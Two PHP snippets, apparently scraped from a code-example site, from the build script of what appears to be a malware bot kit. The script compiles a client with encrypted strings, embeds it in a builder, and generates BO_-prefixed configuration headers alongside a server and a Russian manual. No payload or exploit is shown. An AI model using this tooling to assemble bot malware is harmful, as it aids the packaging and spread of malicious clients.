Example #1
0
}
if (configBool('client_platforms')) {
    writeStep("BUILDING CLIENT");
    writeFile($dir['source']['common'] . '\\generateddata.h', headerOfHfile() . generateBaseConfigHeader() . "\r\n" . generateInstallData());
    generateCryptedStrings($dir['source']['client'] . '\\cryptedstrings');
    //Сборка.
    buildBinary('client', 0, true, true);
    //Создание данных для билдера.
    $client32 = '';
    $client32 .= "#define CLIENT32_VA_BASECONFIG " . sprintf('0x%08X', getVaFromMap('client', 'win32', 'baseConfigSource')) . "\r\n";
    $client32 .= "#define CLIENT32_VA_INSTALL    " . sprintf('0x%08X', getVaFromMap('client', 'win32', '_install')) . "\r\n";
    //CoreInstall.
    $client32 .= "#define CLIENT32_VA_UPDATE     " . sprintf('0x%08X', getVaFromMap('client', 'win32', '_update')) . "\r\n";
    //CoreInstall.
    $client32 .= "const BYTE _client32[] =\r\n" . binFileToCArray($dir['output']['client'] . '\\' . $commandLineOptions['client']['win32']['name'], 0);
    writeFile($dir['source']['builder'] . '\\clients.h', headerOfHfile() . $client32 . "\r\n");
}
if (configBool('builder_platforms')) {
    writeStep("BUILDING BUILDER");
    buildBinary('builder', 1, true, true);
    writeStep("BUILDING SAMPLE CONFIGURATION FILE");
    buildConfigSample($dir['output']['builder']);
    //Копируем лицензию, если она сущеcтвует.
    copyFileIfExists("{$configDir}\\license.key", $dir['output']['builder'] . '\\license.key');
}
if (configBool('manual')) {
    writeStep("BUILDING MANUAL");
    copyFile($dir['docs'] . '\\manual_ru.html', $dir['output'][0] . '\\manual_ru.html');
}
if (platformEnabled('server', 'php')) {
    writeStep("BUILDING PHP SERVER");
Example #2
0
function generateDefaultConfigHeader($adv_data)
{
    $verClient = explode('.', $GLOBALS['config']['global']['versions']['client']);
    if (count($verClient) !== 4) {
        fatalError("Bad format of \"versions\".");
    }
    $s = headerOfHfile() . "#define BO_CLIENT_VERSION 0x" . bin2hex(pack("CCCC", $verClient[0], $verClient[1], $verClient[2], $verClient[3])) . " //" . $GLOBALS['config']['global']['versions']['client'] . "\r\n" . "#define BO_NAME           L\"" . BO_NAME . "\"\r\n" . "#define BO_BUILDTIME      L\"" . BO_BUILDTIME . "\"\r\n\r\n";
    $platforms_postfix_size = strlen('_platforms');
    foreach ($GLOBALS['config'] as $k => $v) {
        if (!is_array($v)) {
            //Проверка не платформа ли это указана.
            if (strlen($k) > $platforms_postfix_size && strcmp(substr($k, -$platforms_postfix_size), '_platforms') == 0) {
                $platforms = @explode(',', $v);
                $v = !is_array($platforms) || count($platforms) == 0 || count($platforms) === 1 && empty($platforms[0]) ? 0 : 1;
                $k = 'BO_' . strtoupper($k);
                $s .= "#define {$k} {$v}\r\n";
                foreach ($platforms as $sk) {
                    if (!empty($sk)) {
                        $s .= "#define {$k}_" . strtoupper($sk) . " 1\r\n";
                    }
                }
            } else {
                $v = is_numeric($v) ? $v : 'L"' . $v . '"';
                $s .= '#define BO_' . strtoupper($k) . ' ' . $v . "\r\n";
            }
        }
    }
    return $s . (empty($adv_data) ? "" : $adv_data);
}